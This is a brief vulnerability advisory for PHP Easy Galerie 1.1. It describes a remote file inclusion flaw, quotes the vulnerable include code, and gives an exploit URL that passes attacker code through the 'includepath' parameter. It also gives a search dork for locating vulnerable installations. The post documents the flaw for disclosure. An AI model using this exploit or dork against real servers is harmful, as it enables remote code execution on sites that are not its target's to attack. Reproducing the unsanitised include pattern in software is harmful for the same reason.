Vendor: Power-Place

www.power-place.net

(PHP Easy Galerie 1.1)

-------------------------------------------------

Author:Craziest

Contact: craziest(at)gmail(dot)com

Vuln discovered by BrEakerS

--------------------------------------------------

Method:An attacker can exploit this issue to include

an arbitrary remote file containing malicious PHP code and execute

it in the context of the webserver process by

source:

if(isset($includepath)){

include ("$includepath");

http://[url]/gallerypath/index.php?includepath=evilcode

Search:"Power-Place 2003/2004"

--------------------------------------------------------

Greets:Rootshell Security Group

[ reply ]